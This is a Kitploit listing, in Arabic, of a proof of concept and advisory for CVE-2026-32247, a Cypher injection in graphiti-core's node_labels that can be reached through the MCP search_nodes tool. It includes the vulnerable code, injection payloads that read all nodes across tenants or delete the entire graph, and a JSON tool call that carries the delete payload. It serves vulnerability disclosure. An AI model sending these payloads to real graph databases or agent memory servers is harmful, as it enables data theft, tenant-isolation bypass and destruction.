Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-32247 — إثبات مفهوم لـ CVE-2026-32247، وهو حقن Cypher في graphiti-core عبر node_labels غير المعقّمة، يُظهر استخراج البيانات وحذف الرسم البياني من خلال MCP search_nodes. | Kitploit
أدوات/GitHubGitHub/romain-deperne/cve-2026-32247
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبأمن قواعد البيانات
GitHubromain-deperne/cve-2026-32247

CVE-2026-32247

إثبات مفهوم لـ CVE-2026-32247، وهو حقن Cypher في graphiti-core عبر node_labels غير المعقّمة، يُظهر استخراج البيانات وحذف الرسم البياني من خلال MCP search_nodes.

عرض المستودع
134منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-32247 — حقن Cypher في graphiti-core عبر node_labels غير المعقّمة

الخطورة: عالية (CVSS 8.1) CWE: CWE-943 — التحييد غير السليم للعناصر الخاصة في منطق استعلام البيانات المتأثر: graphiti-core <= 0.28.1 (pip) تم إصلاحه في: 0.28.2 التنبيه الأمني: GHSA-gg5m-55jj-8m5g NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247 الفضل: Romain Deperne

باختصار

يبني graphiti-core عبارات WHERE في Cypher عبر ربط سلاسل تسميات العُقد (node labels) التي يوفّرها المستخدم باستخدام | ودمجها في استعلام خام. يمكن للمهاجم حقن عوامل تشغيل Cypher عشوائية، أو تسريب البيانات من أي عقدة في الرسم البياني عبر جميع المستأجرين، أو حذف الرسم البياني بالكامل — دون أي معاملات (parameterization) أو تحقق في أي مكان في السلسلة.

التحليل

فحصتُ بناء الاستعلام عند الحد الفاصل بين أداة MCP وقاعدة بيانات الرسم البياني. في search_filters.py، كان 'n:' + node_labels يدمج القيم القادمة من معامل الأداة entity_types مباشرةً في استعلام Cypher.

ما جعل هذا مثيرًا للاهتمام بما يتجاوز الحقن القياسي: تتيح عبارة WITH في Cypher الخروج من سياق WHERE وبدء خط أنابيب جديد بالكامل. لذا يُغلق ) تعبير التسمية المحاط بأقواس، وينتقل WITH n إلى عبارة جديدة، ويُسقط // بصمت بقية الاستعلام الأصلي. حمولة واحدة، وصول كامل إلى الرسم البياني.

أعدتُ أولًا إنتاج بناء الاستعلام في سكربت مستقل، ثم تحققتُ من الحالة التدميرية مقابل قاعدة بيانات رسم بياني قبل الإبلاغ عنها.

المكوّن المتأثر

الملف: graphiti_core/search/search_filters.py، الأسطر 91–92 و134–135

# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause

نقطة الدخول: mcp_server/src/graphiti_mcp_server.py، السطر 441

search_filters = SearchFilters(
    node_labels=entity_types,  # user input passed directly, no validation
)

تُمرَّر معلمة entity_types من استدعاء أداة search_nodes في MCP مباشرةً إلى مُنشئ الاستعلام. يتأثر كل من خلفيتي Neo4j وFalkorDB. أما خلفية Kuzu فلا تتأثر لأنها تستخدم استعلامات ذات معلمات.

السبب الجذري

تُضمَّن قيمة node_label_filter (n:Label1|Label2) في استعلام Cypher على النحو التالي:

WHERE (n:Label1|Label2) AND ...

نظرًا لأن التسميات تُدمج بواسطة | وتُحاط بأقواس من قِبل المستدعي، فإن المهاجم يحتاج فقط إلى إغلاق التعبير بـ ) وحقن جمل Cypher جديدة. يقوم معامل التعليق // بكتم بقية الاستعلام الأصلي.

إثبات المفهوم (PoC)

# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
    labels = '|'.join(node_labels)
    return 'n:' + labels

# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization  →  WHERE (n:Person|Organization) AND ...

# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest

# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))

عبر استدعاء أداة MCP:

{
  "tool": "search_nodes",
  "arguments": {
    "query": "test",
    "entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
  }
}

التأثير

  • تسريب البيانات: قراءة أي عقدة/علاقة عبر جميع مساحات الأسماء group_id
  • تدمير البيانات: DETACH DELETE يمحو الرسم البياني بالكامل
  • تجاوز عزل المستأجرين: يُطبَّق مرشّح group_id بعد مرشّح التسمية القابل للحقن — وحقن جملة WITH يتجاوزه بالكامل
  • يُستخدم Graphiti كطبقة ذاكرة في العديد من أطر وكلاء الذكاء الاصطناعي؛ وواجهة MCP تجعل هذا قابلاً للاستغلال عن بُعد من قِبل أي وكيل متصل

الإصلاح

يتحقق الإصدار المُرقَّع من تسميات العقد مقابل قائمة سماح بالأحرف الأبجدية الرقمية قبل الإدراج، ويستخدم مسار البحث النصي الكامل استعلامات مُعامَلة لقيم group_id.

الجدول الزمني

  • الإبلاغ: استشارة خاصة عبر GHSA
  • إصدار الترقيع: graphiti-core 0.28.2
  • نشر CVE: CVE-2026-32247
تنزيل الأداة